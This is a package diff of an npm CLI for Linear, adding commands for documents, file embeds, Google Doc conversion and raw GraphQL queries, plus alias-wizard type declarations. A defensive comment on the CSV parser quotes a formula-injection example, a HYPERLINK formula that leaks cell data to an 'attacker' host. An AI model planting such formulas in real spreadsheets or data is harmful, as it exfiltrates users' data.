@enrichlayer/el-linear 1.2.0

package/dist/commands/documents.js

@@ -0,0 +1,175 @@
+import { createGraphQLAttachmentsService } from "../utils/graphql-attachments-service.js";
+import { createGraphQLDocumentsService } from "../utils/graphql-documents-service.js";
+import { createLinearService } from "../utils/linear-service.js";
+import { handleAsyncCommand, outputSuccess } from "../utils/output.js";
+function extractDocumentIdFromUrl(url) {
+    try {
+        const parsed = new URL(url);
+        if (!parsed.hostname.includes("linear.app")) {
+            return null;
+        }
+        const pathParts = parsed.pathname.split("/");
+        const docIndex = pathParts.indexOf("document");
+        if (docIndex === -1 || docIndex >= pathParts.length - 1) {
+            return null;
+        }
+        const docSlug = pathParts[docIndex + 1];
+        const lastHyphenIndex = docSlug.lastIndexOf("-");
+        if (lastHyphenIndex === -1) {
+            return docSlug || null;
+        }
+        return docSlug.substring(lastHyphenIndex + 1) || null;
+    }
+    catch {
+        return null;
+    }
+}
+async function handleCreateDocument(options, command) {
+    const rootOpts = command.parent.parent.opts();
+    const documentsService = createGraphQLDocumentsService(rootOpts);
+    const linearService = createLinearService(rootOpts);
+    const document = await documentsService.createDocument({
+        title: options.title,
+        content: options.content,
+        projectId: options.project
+            ? await linearService.resolveProjectId(options.project)
+            : undefined,
+        teamId: options.team
+            ? await linearService.resolveTeamId(options.team)
+            : undefined,
+        issueId: options.issue
+            ? await linearService.resolveIssueId(options.issue)
+            : undefined,
+        icon: options.icon,
+        color: options.color,
+    });
+    if (options.attachTo) {
+        const attachmentsService = createGraphQLAttachmentsService(rootOpts);
+        const issueId = await linearService.resolveIssueId(options.attachTo);
+        try {
+            await attachmentsService.createAttachment({
+                issueId,
+                url: document.url,
+                title: document.title,
+            });
+        }
+        catch (attachError) {
+            const errorMessage = attachError instanceof Error
+                ? attachError.message
+                : String(attachError);
+            throw new Error(`Document created (${document.id}) but failed to attach to issue "${options.attachTo}": ${errorMessage}.`);
+        }
+    }
+    outputSuccess(document);
+}
+async function handleListDocuments(options, command) {
+    if (options.project && options.issue) {
+        throw new Error("Cannot use --project and --issue together. Choose one filter.");
+    }
+    const rootOpts = command.parent.parent.opts();
+    const documentsService = createGraphQLDocumentsService(rootOpts);
+    const linearService = createLinearService(rootOpts);
+    const limit = Number.parseInt(options.limit || "50", 10);
+    if (Number.isNaN(limit) || limit < 1) {
+        throw new Error(`Invalid limit "${options.limit}": must be a positive number`);
+    }
+    if (options.issue) {
+        const attachmentsService = createGraphQLAttachmentsService(rootOpts);
+        const issueId = await linearService.resolveIssueId(options.issue);
+        const attachments = await attachmentsService.listAttachments(issueId);
+        const documentSlugIds = [
+            ...new Set(attachments
+                .map((att) => extractDocumentIdFromUrl(att.url))
+                .filter((id) => id !== null)),
+        ];
+        if (documentSlugIds.length === 0) {
+            outputSuccess({ data: [], meta: { count: 0 } });
+            return;
+        }
+        const docs = await documentsService.listDocumentsBySlugIds(documentSlugIds, limit);
+        outputSuccess({ data: docs, meta: { count: docs.length } });
+        return;
+    }
+    let projectId;
+    if (options.project) {
+        projectId = await linearService.resolveProjectId(options.project);
+    }
+    const docs = await documentsService.listDocuments({
+        projectId,
+        first: limit,
+    });
+    outputSuccess({ data: docs, meta: { count: docs.length } });
+}
+export function setupDocumentsCommands(program) {
+    const documents = program
+        .command("documents")
+        .alias("document")
+        .alias("doc")
+        .alias("docs")
+        .description("Document operations (project-level documentation)");
+    documents.action(() => documents.help());
+    documents
+        .command("create")
+        .description("Create a new document")
+        .requiredOption("--title <title>", "document title")
+        .option("--content <content>", "document content (markdown)")
+        .option("--project <project>", "project name or ID")
+        .option("--team <team>", "team key or name")
+        .option("--icon <icon>", "document icon")
+        .option("--color <color>", "icon color")
+        .option("--issue <issue>", "link document to issue (e.g., ABC-123)")
+        .option("--attach-to <issue>", "also attach document to issue (e.g., ABC-123)")
+        .action(handleAsyncCommand(handleCreateDocument));
+    documents
+        .command("update <documentId>")
+        .description("Update an existing document")
+        .option("--title <title>", "new document title")
+        .option("--content <content>", "new document content (markdown)")
+        .option("--project <project>", "move to different project")
+        .option("--icon <icon>", "document icon")
+        .option("--color <color>", "icon color")
+        .action(handleAsyncCommand(async (documentId, options, command) => {
+        const rootOpts = command.parent.parent.opts();
+        const documentsService = createGraphQLDocumentsService(rootOpts);
+        const linearService = createLinearService(rootOpts);
+        const input = {};
+        if (options.title) {
+            input.title = options.title;
+        }
+        if (options.content) {
+            input.content = options.content;
+        }
+        if (options.project) {
+            input.projectId = await linearService.resolveProjectId(options.project);
+        }
+        if (options.icon) {
+            input.icon = options.icon;
+        }
+        if (options.color) {
+            input.color = options.color;
+        }
+        outputSuccess(await documentsService.updateDocument(documentId, input));
+    }));
+    documents
+        .command("read <documentId>")
+        .description("Read a document")
+        .action(handleAsyncCommand(async (documentId, _options, command) => {
+        const rootOpts = command.parent.parent.opts();
+        outputSuccess(await createGraphQLDocumentsService(rootOpts).getDocument(documentId));
+    }));
+    documents
+        .command("list")
+        .description("List documents")
+        .option("--project <project>", "filter by project name or ID")
+        .option("--issue <issue>", "filter by issue (shows documents attached to the issue)")
+        .option("-l, --limit <limit>", "maximum number of documents", "50")
+        .action(handleAsyncCommand(handleListDocuments));
+    documents
+        .command("delete <documentId>")
+        .description("Delete (trash) a document")
+        .action(handleAsyncCommand(async (documentId, _options, command) => {
+        const rootOpts = command.parent.parent.opts();
+        await createGraphQLDocumentsService(rootOpts).deleteDocument(documentId);
+        outputSuccess({ success: true, message: "Document moved to trash" });
+    }));
+}

package/dist/commands/embeds.d.ts

@@ -0,0 +1,2 @@
+import type { Command } from "commander";
+export declare function setupEmbedsCommands(program: Command): void;

package/dist/commands/embeds.js

@@ -0,0 +1,65 @@
+import { getApiToken } from "../utils/auth.js";
+import { FileService } from "../utils/file-service.js";
+import { handleAsyncCommand, outputSuccess } from "../utils/output.js";
+export function setupEmbedsCommands(program) {
+    const embeds = program
+        .command("embeds")
+        .description("Upload and download files from Linear storage.");
+    embeds.action(() => embeds.help());
+    embeds
+        .command("download <url>")
+        .description("Download a file from Linear storage.")
+        .option("--output <path>", "output file path")
+        .option("--overwrite", "overwrite existing file", false)
+        .action(handleAsyncCommand(async (url, options, command) => {
+        const apiToken = getApiToken(command.parent.parent.opts());
+        const fileService = new FileService(apiToken);
+        const result = await fileService.downloadFile(url, {
+            output: options.output,
+            overwrite: options.overwrite,
+        });
+        if (result.success) {
+            outputSuccess({
+                success: true,
+                filePath: result.filePath,
+                message: `File downloaded successfully to ${result.filePath}`,
+            });
+        }
+        else {
+            const error = {
+                success: false,
+                error: result.error,
+            };
+            if (result.statusCode) {
+                error.statusCode = result.statusCode;
+            }
+            outputSuccess(error);
+        }
+    }));
+    embeds
+        .command("upload <file>")
+        .description("Upload a file to Linear storage.")
+        .action(handleAsyncCommand(async (filePath, _options, command) => {
+        const apiToken = getApiToken(command.parent.parent.opts());
+        const fileService = new FileService(apiToken);
+        const result = await fileService.uploadFile(filePath);
+        if (result.success) {
+            outputSuccess({
+                success: true,
+                assetUrl: result.assetUrl,
+                filename: result.filename,
+                message: `File uploaded successfully: ${result.assetUrl}`,
+            });
+        }
+        else {
+            const error = {
+                success: false,
+                error: result.error,
+            };
+            if (result.statusCode) {
+                error.statusCode = result.statusCode;
+            }
+            outputSuccess(error);
+        }
+    }));
+}

package/dist/commands/gdoc.d.ts

@@ -0,0 +1,2 @@
+import type { Command } from "commander";
+export declare function setupGdocCommands(program: Command): void;

package/dist/commands/gdoc.js

@@ -0,0 +1,37 @@
+import { execFileSync } from "node:child_process";
+import { extractDocId, parseGoogleDoc } from "../utils/gdoc-parser.js";
+import { handleAsyncCommand } from "../utils/output.js";
+export function setupGdocCommands(program) {
+    program
+        .command("gdoc <docIdOrUrl>")
+        .description("Convert a Google Doc to Markdown (requires gws CLI).")
+        .addHelpText("after", "\nAccepts a Google Doc ID or full URL.\nRequires gws CLI: npm install -g @googleworkspace/cli")
+        .action(handleAsyncCommand(async (docIdOrUrl) => {
+        const docId = extractDocId(docIdOrUrl);
+        let stdout;
+        try {
+            stdout = execFileSync("gws", [
+                "docs",
+                "documents",
+                "get",
+                "--params",
+                JSON.stringify({ documentId: docId }),
+            ], {
+                encoding: "utf-8",
+                timeout: 30_000,
+                stdio: ["pipe", "pipe", "pipe"],
+            });
+        }
+        catch (err) {
+            const msg = err instanceof Error ? err.message : String(err);
+            if (msg.includes("ENOENT")) {
+                throw new Error("gws CLI not found. Install it: npm install -g @googleworkspace/cli && gws auth login");
+            }
+            throw new Error(`Failed to fetch Google Doc: ${msg}`);
+        }
+        const doc = JSON.parse(stdout);
+        const markdown = parseGoogleDoc(doc);
+        // Output raw markdown to stdout (not JSON) so it's pipeable
+        process.stdout.write(markdown);
+    }));
+}

package/dist/commands/graphql.d.ts

@@ -0,0 +1,2 @@
+import type { Command } from "commander";
+export declare function setupGraphQLCommands(program: Command): void;

package/dist/commands/graphql.js

@@ -0,0 +1,70 @@
+import fs from "node:fs";
+import { INTROSPECT_ROOT_QUERY, INTROSPECT_TYPE_QUERY, } from "../queries/introspect.js";
+import { createGraphQLService } from "../utils/graphql-service.js";
+import { handleAsyncCommand, outputSuccess } from "../utils/output.js";
+async function executeQuery(query, options, command) {
+    let finalQuery = query;
+    if (options.file) {
+        if (!fs.existsSync(options.file)) {
+            throw new Error(`File not found: ${options.file}`);
+        }
+        finalQuery = fs.readFileSync(options.file, "utf8").trim();
+    }
+    if (!finalQuery) {
+        throw new Error("Provide a GraphQL query as an argument or via --file");
+    }
+    let variables;
+    if (options.variables) {
+        try {
+            variables = JSON.parse(options.variables);
+        }
+        catch {
+            throw new Error(`Invalid JSON in --variables: ${options.variables}`);
+        }
+    }
+    const rootOpts = command.parent.opts();
+    const graphQLService = createGraphQLService(rootOpts);
+    const result = await graphQLService.rawRequest(finalQuery, variables);
+    outputSuccess(result);
+}
+export function setupGraphQLCommands(program) {
+    // Primary command: el-linear graphql '{ ... }' (backward compatible)
+    program
+        .command("graphql [query]")
+        .description("Execute a raw GraphQL query against the Linear API.")
+        .option("--file <path>", "read query from a file")
+        .option("--variables <json>", "JSON string of variables")
+        .action(handleAsyncCommand(executeQuery));
+    // Separate introspect command
+    program
+        .command("introspect [typeName]")
+        .description("Introspect the Linear GraphQL schema. Without args lists root query fields; with a type name shows its fields and args.")
+        .option("--filter <pattern>", "filter fields by name (case-insensitive substring match)")
+        .action(handleAsyncCommand(async (typeName, options, command) => {
+        const rootOpts = command.parent.opts();
+        const graphQLService = createGraphQLService(rootOpts);
+        if (typeName) {
+            const result = await graphQLService.rawRequest(INTROSPECT_TYPE_QUERY, { typeName });
+            const typeInfo = result.__type;
+            if (!typeInfo) {
+                throw new Error(`Type "${typeName}" not found in schema`);
+            }
+            outputSuccess(typeInfo);
+        }
+        else {
+            const result = await graphQLService.rawRequest(INTROSPECT_ROOT_QUERY);
+            const queryType = result.__type;
+            let fields = queryType?.fields ?? [];
+            if (options.filter) {
+                const pattern = options.filter.toLowerCase();
+                fields = fields.filter((f) => f.name.toLowerCase().includes(pattern));
+            }
+            const summary = fields.map((f) => ({
+                name: f.name,
+                description: f.description ?? null,
+                args: (f.args ?? []).map((a) => a.name),
+            }));
+            outputSuccess({ fields: summary, count: summary.length });
+        }
+    }));
+}

package/dist/commands/init/aliases.d.ts

@@ -0,0 +1,109 @@
+/**
+ * Step 3 of the wizard: member aliases.
+ *
+ * For each Linear user in the workspace, the user can add short aliases,
+ * GitHub handles, and GitLab handles used for resolution. Skip-by-default
+ * (most users skip this and only fill in the people they @-mention often).
+ *
+ * Idempotent: re-running shows the current aliases per user and offers a
+ * 4-way menu (keep / edit / append / clear) plus quit. Progress is persisted
+ * so an interrupted walk can be resumed via `el-linear init aliases`.
+ */
+import { type WizardConfig } from "./shared.js";
+export interface User {
+    id: string;
+    name: string;
+    email: string | null;
+    displayName: string;
+}
+export declare function fetchAllUsers(token: string): Promise<User[]>;
+/**
+ * Find groups of users sharing the same display name. The current alias
+ * config keys aliases by display name, so colliding users would silently
+ * overwrite each other's entries. Detection is exported so the wizard can
+ * warn + skip those users; a follow-up (1.3.0) will migrate the on-disk
+ * schema to UUID-keyed maps.
+ */
+export declare function findDisplayNameCollisions(users: User[]): Map<string, User[]>;
+/**
+ * Merge new alias entries into existing config without dropping unrelated
+ * fields. Pure function — no I/O. Exported for testing.
+ */
+export declare function mergeAliasesIntoConfig(existing: WizardConfig, updates: Map<string, AliasUpdate>): WizardConfig;
+/**
+ * What to do with a single platform handle (github/gitlab/...) when applying
+ * an AliasUpdate. Discriminated union; no sentinel strings.
+ *
+ * - keep:  no change (leave any existing handle for this user alone)
+ * - clear: delete any existing handle for this user
+ * - set:   replace any existing handle with the given value
+ */
+export type HandleAction = {
+    kind: "keep";
+} | {
+    kind: "clear";
+} | {
+    kind: "set";
+    value: string;
+};
+/** Set of supported platforms for member handle keys. */
+export declare const HANDLE_PLATFORMS: readonly ["github", "gitlab"];
+export type HandlePlatform = (typeof HANDLE_PLATFORMS)[number];
+export interface AliasUpdate {
+    displayName: string;
+    mode: "keep" | "edit" | "append" | "clear";
+    aliases: string[];
+    github: HandleAction;
+    gitlab: HandleAction;
+}
+/**
+ * Walk users one-by-one. Returns updates keyed by user UUID. Caller writes
+ * them back via `mergeAliasesIntoConfig`. The CSV import path is a separate
+ * entrypoint (`runAliasesImport`) — there's no `importCsv` option on this
+ * function, since the index.ts handler picks one or the other.
+ */
+export declare function runAliasesStep(token: string, existing: WizardConfig, options?: {
+    /** Skip the per-section "walk now?" prompt and force the walk. */
+    force?: boolean;
+}): Promise<Map<string, AliasUpdate>>;
+/**
+ * Batch alias import from a CSV. Format:
+ *   email,aliases,github,gitlab
+ *   alice@example.com,"alice,ali",alice-gh,
+ *   bob@example.com,"bob",,
+ *
+ * Lines starting with `#` are comments. Aliases column is comma-separated
+ * inside the cell; if the cell contains commas it must be quoted.
+ *
+ * Resolves emails to Linear user UUIDs internally, so the result is keyed
+ * by UUID and ready to pass to `mergeAliasesIntoConfig`. Rows whose email
+ * doesn't match an active user are reported via the returned `skipped[]`
+ * list (the caller decides whether to surface them).
+ */
+export interface AliasesImportResult {
+    updates: Map<string, AliasUpdate>;
+    skipped: string[];
+}
+export declare function runAliasesImport(token: string, csvPath: string): Promise<AliasesImportResult>;
+interface CsvRow {
+    email?: string;
+    aliases?: string;
+    github?: string;
+    gitlab?: string;
+}
+/**
+ * Single-pass character-state CSV parser. Handles RFC 4180 specifics that
+ * a split-by-newline approach gets wrong:
+ *   - Cells with embedded newlines (legal when quoted)
+ *   - Escaped quotes (`""` inside a quoted cell)
+ *   - CRLF line endings
+ *   - `#` comment lines (el-linear extension; only at line start)
+ *
+ * Sanitizes against CSV-formula-injection at parse time: any cell starting
+ * with `=`, `+`, `-`, `@`, `\t`, or `\r` is rejected. These would activate
+ * formulas if the resulting config were ever round-tripped to a spreadsheet
+ * (e.g. an alias of `=HYPERLINK("http://attacker/?leak="&A1)` would store
+ * verbatim today and fire the moment someone opened the export in Excel).
+ */
+export declare function parseCsv(text: string): CsvRow[];
+export {};